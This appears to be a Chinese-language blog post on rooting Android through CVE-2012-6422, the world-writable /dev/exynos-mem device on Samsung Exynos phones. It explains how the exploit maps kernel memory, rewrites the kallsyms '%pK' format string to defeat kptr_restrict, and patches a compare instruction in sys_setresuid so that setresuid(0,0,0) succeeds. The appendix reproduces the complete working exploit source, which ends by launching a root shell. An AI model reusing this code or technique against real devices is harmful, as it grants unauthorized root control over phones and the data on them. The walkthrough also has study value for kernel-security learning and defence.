Android内核sys_setresuid() Patch提权（CVE-2012-6422）

让我们的Android ROOT，多一点套路。

一、简单套路

CVE-2012-6422的漏洞利用代码，展示了另一种提权方法。（见附录）

这也是一个mmap驱动接口校验导致映射任意内核地址的洞。将内核映射到用户进程空间后，使用setresuid(0, 0, 0)进行提权。

其步骤如下：

1. 利用漏洞，映射内核到调用者进程空间
2. 搜索内核，查找“%pK %c %s\n”，并Patch成“%p %c %s\n”
3. 搜索内核，查找sys_setresuid符号地址
4. 搜索sys_setresuid代码段，查找“0xe3500000” 并Patch为“0xe3500001”
5. 用户态调用setresuid()提权
6. 将前面2处Patch恢复原貌

二、详解

1）为什么搜索“%pK %c %s\n”

我们获得Linux的内核符号地址，一般首选读取/proc/kallsyms，但由于kptr_restrict的引入（/proc/sys/kernel/kptr_restrict），读到的内核符号地址一般是被抹掉的（0x00000000）。

查看内核实现，在执行$ cat /proc/kallsyms 时，对应内核代码为s_show()函数：

527 static int s_show(struct seq_file *m, void *p)
528 {
529         struct kallsym_iter *iter = m->private;
530
531         /* Some debugging symbols have no name.  Ignore them. */
532         if (!iter->name[0])
533                 return 0;
534
535         if (iter->module_name[0]) {
536                 char type;
537
538                 /*
539                  * Label it "global" if it is exported,
540                  * "local" if not exported.
541                  */
542                 type = iter->exported ? toupper(iter->type) :
543                                         tolower(iter->type);
544                 seq_printf(m, "%pK %c %s\t[%s]\n", (void *)iter->value,
545                            type, iter->name, iter->module_name);
546         } else
547                 seq_printf(m, "%pK %c %s\n", (void *)iter->value,
548                            iter->type, iter->name);
549         return 0;
550 }

我们在/proc/kallsyms中看到的3列值，是由下述代码生成：

547                 seq_printf(m, "%pK %c %s\n", (void *)iter->value,
548                            iter->type, iter->name);

其中%pK格式符会根据kptr_restrict值，选择是否显示符号地址，默认kptr_restrict值一般为1，即隐藏符号地址。只需要将K替换为空格，即可绕过此限制。

2）为什么要将sys_setresuid代码的“0xe3500000” Patch为“0xe3500001”

我们知道，如果成功调用setresuid(0, 0, 0)，则会获得root权限，但成功执行此调用需要严格条件，具体描述下。

setresuid()被执行的条件有：

1. 当前进程的euid是root

2. 三个参数，每一个等于原来某个id中的一个

如果满足以上条件的任意一个，setresuid()都可以正常调用并执行，将进程的ID设置成对应的ID。

但显然，我们的提权程序不满足上述任何一个条件，那怎么办呢。看代码。

/*
 * This function implements a generic ability to update ruid, euid,
 * and suid.  This allows you to implement the 4.4 compatible seteuid().
 */
asmlinkage long sys_setresuid(uid_t ruid, uid_t euid, uid_t suid)
{
	int old_ruid = current->uid;
	int old_euid = current->euid;
	int old_suid = current->suid;
	int retval;

	retval = security_task_setuid(ruid, euid, suid, LSM_SETID_RES);
	if (retval)
		return retval;

	if (!capable(CAP_SETUID)) {
		if ((ruid != (uid_t) -1) && (ruid != current->uid) &&
		    (ruid != current->euid) && (ruid != current->suid))
			return -EPERM;
		if ((euid != (uid_t) -1) && (euid != current->uid) &&
		    (euid != current->euid) && (euid != current->suid))
			return -EPERM;
		if ((suid != (uid_t) -1) && (suid != current->uid) &&
		    (suid != current->euid) && (suid != current->suid))
			return -EPERM;
	}
	if (ruid != (uid_t) -1) {
		if (ruid != current->uid && set_user(ruid, euid != current->euid) < 0)
			return -EAGAIN;
	}
	if (euid != (uid_t) -1) {
		if (euid != current->euid)
		{
			current->mm->dumpable = 0;
			wmb();
		}
		current->euid = euid;
	}
	current->fsuid = current->euid;
	if (suid != (uid_t) -1)
		current->suid = suid;

	return security_task_post_setuid(old_ruid, old_euid, old_suid, LSM_SETID_RES);
}

sys_setresuid()的逻辑很简单，首先调用 retval = security_task_setuid(ruid, euid, suid, LSM_SETID_RES); 设置实际用户ID，有效用户ID及保存的设置用户ID，如果成功，直接返回retval。

setresuid()有个性质，英文名称是all-or-nothing effect，意思是，如果setresuid()对某一个ID设置成功了，其他的失败了，比如只改变了ruid，suid和euid都改失败了，那么程序会将ruid改回原来的值，即保证要么三个ID都能成功修改，要么三个都没能修改成功。

我们只需要Patch掉下述代码，使其返回成功。

if (retval)
	return retval;

而其对应的ARM汇编为：

cmp r0, #0

对应字节码为 0xE3500000，只需将其Patch成cmp r0, #1即可，即0xE3500001，所有进程的setresuid(0, 0, 0)都将成功执行，将当前进程提升到root权限。

ARM Opcodes查询可通过：http://armconverter.com

三、附录：CVE-2012-6422 exploit

/*
 * exynos-mem device abuse by alephzain
 *
 * /dev/exynos-mem is present on GS3/GS2/GN2/MEIZU MX
 *
 * the device is R/W by all users :
 * crw-rw-rw-  1 system graphics  1, 14 Dec 13 20:24 /dev/exynos-mem
 *
 */

/*
 * Abuse it for root shell
 */
#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <stdbool.h>

#define PAGE_OFFSET 0xC0000000
#define PHYS_OFFSET 0x40000000

int main(int argc, char **argv, char **env) {
	int fd, i, m, index, result;

	unsigned long *paddr = NULL;
    unsigned long *tmp = NULL;
    unsigned long *restore_ptr_fmt = NULL;
    unsigned long *restore_ptr_setresuid = NULL;
    unsigned long addr_sym;

	int page_size = sysconf(_SC_PAGE_SIZE);
    int length = page_size * page_size;

    /* for root shell */
    char *cmd[2];
    cmd[0] = "/system/bin/sh";
    cmd[1] = NULL;

    /* /proc/kallsyms parsing */
    FILE *kallsyms = NULL;
    char line [512];
    char *ptr;
    char *str;

    bool found = false;

    /* open the door */
	fd = open("/dev/exynos-mem", O_RDWR);
	if (fd == -1) {
		printf("[!] Error opening /dev/exynos-mem\n");
		exit(1);
	}

    /* kernel reside at the start of physical memory, so take some Mb */
    paddr = (unsigned long *)mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_SHARED, fd, PHYS_OFFSET);
    tmp = paddr;
    if (paddr == MAP_FAILED) {
        printf("[!] Error mmap: %s|%08X\n",strerror(errno), i);
        exit(1);
    }

    /*
     * search the format string "%pK %c %s\n" in memory
     * and replace "%pK" by "%p" to force display kernel
     * symbols pointer
     */
    for(m = 0; m < length; m += 4) {
        if(*(unsigned long *)tmp == 0x204b7025
                    && *(unsigned long *)(tmp+1) == 0x25206325
                    && *(unsigned long *)(tmp+2) == 0x00000a73 ) {
            printf("[*] s_show->seq_printf format string found at: 0x%08X\n", PAGE_OFFSET + m);
            restore_ptr_fmt = tmp;
            *(unsigned long*)tmp = 0x20207025;
            found = true;
            break;
        }
        tmp++;
    }

    if (found == false) {
        printf("[!] s_show->seq_printf format string not found\n");
        exit(1);
    }

    found = false;

    /* kallsyms now display symbols address */
    kallsyms = fopen("/proc/kallsyms", "r");
    if (kallsyms == NULL) {
        printf("[!] kallsysms error: %s\n", strerror(errno));
        exit(1);
    }

    /* parse /proc/kallsyms to find sys_setresuid address */
    while((ptr = fgets(line, 512, kallsyms))) {
        str = strtok(ptr, " ");
        addr_sym = strtoul(str, NULL, 16);
        index = 1;
        while(str) {
            str = strtok(NULL, " ");
            index++;
            if (index == 3) {
                if (strncmp("sys_setresuid\n", str, 14) == 0) {
                    printf("[*] sys_setresuid found at 0x%08X\n",addr_sym);
                    found = true;
                }
                break;
            }
        }
        if (found) {
            tmp = paddr;
            tmp += (addr_sym - PAGE_OFFSET) >> 2;
            for(m = 0; m < 128; m += 4) {
                if (*(unsigned long *)tmp == 0xe3500000) {
                    printf("[*] patching sys_setresuid at 0x%08X\n",addr_sym+m);
                    restore_ptr_setresuid = tmp;
                    *(unsigned long *)tmp = 0xe3500001;
                    break;
                }
                tmp++;
            }
            break;
        }
    }

    fclose(kallsyms);

    /* to be sure memory is updated */
    usleep(100000);

    /* ask for root */
    result = setresuid(0, 0, 0);

    /* restore memory */
    *(unsigned long *)restore_ptr_fmt = 0x204b7025;
    *(unsigned long *)restore_ptr_setresuid = 0xe3500000;
    munmap(paddr, length);
    close(fd);

    if (result) {
        printf("[!] set user root failed: %s\n", strerror(errno));
        exit(1);
    }

    /* execute a root shell */
    execve (cmd[0], cmd, env);

    return 0;
}